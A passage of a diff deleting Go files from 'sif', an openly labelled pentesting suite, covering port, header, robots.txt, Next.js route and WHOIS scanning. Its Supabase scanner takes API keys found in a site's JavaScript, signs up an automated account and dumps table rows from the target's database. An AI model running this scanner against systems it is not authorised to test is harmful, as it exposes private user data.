gitlog.Infof("%s git found at [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(repourl))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s git found at [%s]\n", strconv.Itoa(resp.StatusCode), repourl))
|
||||
}
|
||||
|
||||
foundUrls = append(foundUrls, resp.Request.URL.String())
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return foundUrls, nil
|
||||
}
|
||||
@@ -1,83 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
type HeaderResult struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
func Headers(url string, timeout time.Duration, logdir string) ([]HeaderResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("HTTP Header Analysis") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "HTTP Header Analysis"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
headerlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Headers 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var results []HeaderResult
|
||||
|
||||
for name, values := range resp.Header {
|
||||
for _, value := range values {
|
||||
results = append(results, HeaderResult{Name: name, Value: value})
|
||||
headerlog.Infof("%s: %s", styles.Highlight.Render(name), value)
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s: %s\n", name, value))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -1,93 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
/*
|
||||
What we are doing is abusing a internal file in Next.js pages router called
|
||||
_buildManifest.js which lists all routes and script files ever referenced in
|
||||
the application within next.js, this allows us to optimise and not bruteforce
|
||||
directories for routes and instead get all of them at once.
|
||||
|
||||
We are currently parsing this js file with regexes but that should ideally be
|
||||
replaced soon.
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
func GetPagesRouterScripts(scriptUrl string) ([]string, error) {
|
||||
baseUrl, err := urlutil.Parse(scriptUrl)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, err := http.Get(scriptUrl)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var manifestText string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
manifestText += scanner.Text()
|
||||
}
|
||||
|
||||
regex, err := regexp.Compile("\\[(\"([^\"]+.js)\"(,?))")
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
list := regex.FindAllStringSubmatch(manifestText, -1)
|
||||
|
||||
var scripts []string
|
||||
|
||||
for _, el := range list {
|
||||
var script = strings.ReplaceAll(el[2], "\\u002F", "/")
|
||||
url, err := urlutil.Parse(script)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url.IsRelative {
|
||||
url.Host = baseUrl.Host
|
||||
url.Scheme = baseUrl.Scheme
|
||||
url.Path = "/_next/" + url.Path
|
||||
}
|
||||
scripts = append(scripts, url.String())
|
||||
}
|
||||
|
||||
return scripts, nil
|
||||
}
|
||||
@@ -1,148 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package js
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/antchfx/htmlquery"
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/pkg/scan/js/frameworks"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
type JavascriptScanResult struct {
|
||||
SupabaseResults []supabaseScanResult `json:"supabase_results"`
|
||||
FoundEnvironmentVars map[string]string `json:"environment_variables"`
|
||||
}
|
||||
|
||||
func JavascriptScan(url string, timeout time.Duration, threads int, logdir string) (*JavascriptScanResult, error) {
|
||||
jslog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "🚧 JavaScript",
|
||||
}).With("url", url)
|
||||
|
||||
baseUrl, err := urlutil.Parse(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := http.Get(url)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var html string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
html += scanner.Text()
|
||||
}
|
||||
|
||||
doc, err := htmlquery.Parse(strings.NewReader(html))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var scripts []string
|
||||
nodes, err := htmlquery.QueryAll(doc, "//script/@src")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, node := range nodes {
|
||||
var src = htmlquery.InnerText(node)
|
||||
url, err := urlutil.Parse(src)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url.IsRelative {
|
||||
url.Host = baseUrl.Host
|
||||
url.Scheme = baseUrl.Scheme
|
||||
}
|
||||
scripts = append(scripts, url.String())
|
||||
}
|
||||
|
||||
for _, script := range scripts {
|
||||
if strings.Contains(script, "/_buildManifest.js") {
|
||||
jslog.Infof("Detected Next.JS pages router! Getting all scripts from %s", script)
|
||||
nextScripts, err := frameworks.GetPagesRouterScripts(script)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, nextScript := range nextScripts {
|
||||
if slices.Contains(scripts, nextScript) {
|
||||
continue
|
||||
}
|
||||
scripts = append(scripts, nextScript)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jslog.Infof("Got %d scripts, now running scans on them", len(scripts))
|
||||
|
||||
var supabaseResults []supabaseScanResult
|
||||
for _, script := range scripts {
|
||||
jslog.Infof("Scanning %s", script)
|
||||
resp, err := http.Get(script)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
continue
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
bodyBytes, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
content := string(bodyBytes)
|
||||
|
||||
jslog.Infof("Running supabase scanner on %s", script)
|
||||
scriptSupabaseResults, err := ScanSupabase(content, script)
|
||||
|
||||
if err != nil {
|
||||
jslog.Errorf("Error while scanning supabase: %s", err)
|
||||
}
|
||||
|
||||
if scriptSupabaseResults != nil {
|
||||
supabaseResults = append(supabaseResults, scriptSupabaseResults...)
|
||||
}
|
||||
}
|
||||
|
||||
result := JavascriptScanResult{
|
||||
SupabaseResults: supabaseResults,
|
||||
FoundEnvironmentVars: map[string]string{},
|
||||
}
|
||||
|
||||
return &result, nil
|
||||
}
|
||||
@@ -1,261 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
// todo: scan for storage and auth vulns
|
||||
|
||||
package js
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"math"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
)
|
||||
|
||||
type supabaseJwtBody struct {
|
||||
ProjectId *string `json:"ref"`
|
||||
Role *string `json:"role"`
|
||||
}
|
||||
type supabaseScanResult struct {
|
||||
ProjectId string `json:"project_id"`
|
||||
ApiKey string `json:"api_key"`
|
||||
Role string `json:"role"` // note: if this isnt anon its bad
|
||||
Collections []supabaseCollection `json:"collections"`
|
||||
}
|
||||
type supabaseCollection struct {
|
||||
Name string `json:"name"`
|
||||
Sample []interface{} `json:"sample"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
func GetSupabaseJsonResponse(projectId string, path string, apikey string, auth *string) (map[string]interface{}, error) {
|
||||
client := http.Client{}
|
||||
|
||||
req, err := http.NewRequest("GET", "https://"+projectId+".supabase.co"+path, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Debugf("Sending request to %s", req.URL.String())
|
||||
req.Header.Set("apikey", apikey)
|
||||
req.Header.Set("Prefer", "count=exact")
|
||||
if auth != nil {
|
||||
req.Header.Set("Authorization", "Bearer "+*auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Request to " + resp.Request.URL.String() + " failed with status code " + strconv.Itoa(resp.StatusCode))
|
||||
}
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
content := string(body)
|
||||
|
||||
var data interface{}
|
||||
|
||||
err = json.Unmarshal([]byte(content), &data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
arr, ok := data.([]interface{})
|
||||
if ok {
|
||||
wrappedData := map[string]interface{}{}
|
||||
|
||||
contentRange := resp.Header.Get("Content-Range")
|
||||
count, err := strconv.Atoi(strings.Split(contentRange, "/")[1])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
wrappedData["count"] = count
|
||||
wrappedData["array"] = arr
|
||||
|
||||
return wrappedData, nil
|
||||
}
|
||||
|
||||
return data.(map[string]interface{}), nil
|
||||
}
|
||||
|
||||
func ScanSupabase(jsContent string, jsUrl string) ([]supabaseScanResult, error) {
|
||||
supabaselog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "🚧 JavaScript > Supabase ⚡️",
|
||||
}).With("url", jsUrl)
|
||||
|
||||
jwtRegex, err := regexp.Compile("[\"|'|`](ey[A-Za-z0-9_-]{2,}(?:\\.[A-Za-z0-9_-]{2,}){2})[\"|'|`]")
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results = []supabaseScanResult{}
|
||||
jwtGroups := jwtRegex.FindAllStringSubmatch(jsContent, -1)
|
||||
|
||||
var jwts = []string{}
|
||||
|
||||
for _, jwtGroup := range jwtGroups {
|
||||
jwts = append(jwts, jwtGroup[1])
|
||||
}
|
||||
|
||||
slices.Sort(jwts)
|
||||
jwts = slices.Compact(jwts)
|
||||
|
||||
for _, jwt := range jwts {
|
||||
parts := strings.Split(jwt, ".")
|
||||
body := parts[1]
|
||||
|
||||
decoded, err := base64.RawStdEncoding.DecodeString(body)
|
||||
if err != nil {
|
||||
supabaselog.Debugf("Failed to decode JWT %s: %s", body, err)
|
||||
continue
|
||||
}
|
||||
|
||||
supabaselog.Debugf("JWT body: %s", decoded)
|
||||
var supabaseJwt *supabaseJwtBody
|
||||
err = json.Unmarshal([]byte(decoded), &supabaseJwt)
|
||||
if err != nil {
|
||||
supabaselog.Debugf("Failed to json parse JWT %s: %s", jwt, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if supabaseJwt.ProjectId == nil || supabaseJwt.Role == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
supabaselog.Infof("Found valid supabase project %s with role %s", *supabaseJwt.ProjectId, *supabaseJwt.Role)
|
||||
client := http.Client{}
|
||||
|
||||
req, err := http.NewRequest("POST", "https://"+*supabaseJwt.ProjectId+".supabase.co/auth/v1/signup", bytes.NewBufferString(`{"email":"automated`+strconv.Itoa(int(time.Now().Unix()))+`@sif.sh","password":"automatedacct"}`))
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Error while creating HTTP req for creating user: %s", err)
|
||||
continue
|
||||
}
|
||||
req.Header.Set("apikey", jwt)
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Error while sending request to create user: %s", err)
|
||||
continue
|
||||
}
|
||||
|
||||
var auth string
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
content := string(body)
|
||||
|
||||
var data map[string]interface{}
|
||||
err = json.Unmarshal([]byte(content), &data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
auth = data["access_token"].(string)
|
||||
supabaselog.Infof("Created account with JWT %s", auth)
|
||||
}
|
||||
|
||||
var collections = []supabaseCollection{}
|
||||
|
||||
res, err := GetSupabaseJsonResponse(*supabaseJwt.ProjectId, "/rest/v1/", jwt, &auth)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
index := res
|
||||
|
||||
if index["paths"] == nil {
|
||||
return nil, errors.New("paths not found in supabase openapi")
|
||||
}
|
||||
|
||||
var paths = index["paths"].(map[string]interface{})
|
||||
|
||||
for k := range paths {
|
||||
if k == "/" {
|
||||
continue
|
||||
}
|
||||
|
||||
// todo: support for scanning rpc calls
|
||||
if strings.HasPrefix(k, "/rpc/") {
|
||||
continue
|
||||
}
|
||||
|
||||
sampleObj, err := GetSupabaseJsonResponse(*supabaseJwt.ProjectId, "/rest/v1"+k, jwt, &auth)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
samples := sampleObj["array"].([]interface{})
|
||||
marshalled, err := json.Marshal(samples)
|
||||
if err != nil {
|
||||
supabaselog.Errorf("Failed to marshal sample data for %s: %s", k, err)
|
||||
}
|
||||
|
||||
supabaselog.Infof("Got sample (1000 entries) for collection %s: %s", k, string(marshalled))
|
||||
|
||||
limitedSample := samples[0:int(math.Min(float64(len(samples)), 10))]
|
||||
|
||||
collection := supabaseCollection{
|
||||
Name: strings.TrimPrefix(k, "/"),
|
||||
Sample: limitedSample, // passed to local LLM for scope
|
||||
Count: sampleObj["count"].(int),
|
||||
}
|
||||
|
||||
if collection.Count > 1 /* one entry may just be for the user */ {
|
||||
collections = append(collections, collection)
|
||||
}
|
||||
}
|
||||
|
||||
result := supabaseScanResult{
|
||||
ProjectId: *supabaseJwt.ProjectId,
|
||||
ApiKey: jwt,
|
||||
Role: *supabaseJwt.Role,
|
||||
Collections: collections,
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
|
||||
// todo(eva): implement supabase scanning
|
||||
return results, nil
|
||||
}
|
||||
@@ -1,118 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
|
||||
|
||||
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
log.Printf(styles.Separator.Render("🚪 Starting " + styles.Status.Render("port scanning") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, scope+" port scanning"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
portlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Ports 🚪",
|
||||
})
|
||||
|
||||
portlog.Infof("Starting %s port scanning", scope)
|
||||
|
||||
var ports []int
|
||||
switch scope {
|
||||
case "common":
|
||||
resp, err := http.Get(commonPorts)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading ports list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
if port, err := strconv.Atoi(scanner.Text()); err == nil {
|
||||
ports = append(ports, port)
|
||||
}
|
||||
}
|
||||
case "full":
|
||||
ports = make([]int, 65536)
|
||||
for i := range ports {
|
||||
ports[i] = i
|
||||
}
|
||||
}
|
||||
|
||||
var openPorts []string
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, port := range ports {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("Looking up: %d", port)
|
||||
tcp, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", sanitizedURL, port), timeout)
|
||||
if err != nil {
|
||||
log.Debugf("Error %d: %v", port, err)
|
||||
} else {
|
||||
openPorts = append(openPorts, strconv.Itoa(port))
|
||||
portlog.Infof("%s %s:%s", styles.Status.Render("[tcp]"), sanitizedURL, styles.Highlight.Render(strconv.Itoa(port)))
|
||||
tcp.Close()
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
if len(openPorts) > 0 {
|
||||
portlog.Infof("Found %d open ports: %s", len(openPorts), strings.Join(openPorts, ", "))
|
||||
} else {
|
||||
portlog.Error("Found no open ports")
|
||||
}
|
||||
|
||||
return openPorts, nil
|
||||
}
|
||||
@@ -1,150 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
// The scan package provides a collection of security scanning functions.
|
||||
//
|
||||
// Each scanning function typically returns a slice of custom result structures and an error.
|
||||
// The package utilizes concurrent operations to improve scanning performance and provides
|
||||
// options for logging and timeout management.
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
func fetchRobotsTXT(url string, client *http.Client) *http.Response {
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
log.Debugf("Error fetching robots.txt: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusMovedPermanently {
|
||||
redirectURL := resp.Header.Get("Location")
|
||||
if redirectURL == "" {
|
||||
log.Debugf("Redirect location is empty for %s", url)
|
||||
return nil
|
||||
}
|
||||
resp.Body.Close()
|
||||
return fetchRobotsTXT(redirectURL, client)
|
||||
}
|
||||
|
||||
return resp
|
||||
}
|
||||
|
||||
// Scan performs a basic URL scan, including checks for robots.txt and other common endpoints.
|
||||
// It logs the results and doesn't return any values.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for the scan
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
func Scan(url string, timeout time.Duration, threads int, logdir string) {
|
||||
fmt.Println(styles.Separator.Render("🐾 Starting " + styles.Status.Render("base url scanning") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "URL scanning"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
scanlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Scan 👁️🗨️",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
|
||||
resp := fetchRobotsTXT(url+"/robots.txt", client)
|
||||
if resp == nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 404 && resp.StatusCode != 301 && resp.StatusCode != 302 && resp.StatusCode != 307 {
|
||||
scanlog.Infof("file [%s] found", styles.Status.Render("robots.txt"))
|
||||
|
||||
var robotsData []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
robotsData = append(robotsData, scanner.Text())
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, robot := range robotsData {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
if robot == "" || strings.HasPrefix(robot, "#") || strings.HasPrefix(robot, "User-agent: ") || strings.HasPrefix(robot, "Sitemap: ") {
|
||||
continue
|
||||
}
|
||||
|
||||
_, sanitizedRobot, _ := strings.Cut(robot, ": ")
|
||||
scanlog.Debugf("%s", robot)
|
||||
resp, err := client.Get(url + "/" + sanitizedRobot)
|
||||
if err != nil {
|
||||
scanlog.Debugf("Error %s: %s", sanitizedRobot, err)
|
||||
continue
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 404 {
|
||||
scanlog.Infof("%s from robots: [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(sanitizedRobot))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s from robots: [%s]\n", strconv.Itoa(resp.StatusCode), sanitizedRobot))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
}
|
||||
@@ -1,60 +0,0 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
"github.com/likexian/whois"
|
||||
)
|
||||
|
||||
func Whois(url string, logdir string) {
|
||||
fmt.Println(styles.Separator.Render("💭 Starting " + styles.Status.Render("WHOIS Lookup") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, " WHOIS scanning"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
whoislog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "WHOIS 💭",
|
||||
})
|
||||
|
||||
whoislog.Infof("Starting WHOIS")
|
||||
|
||||
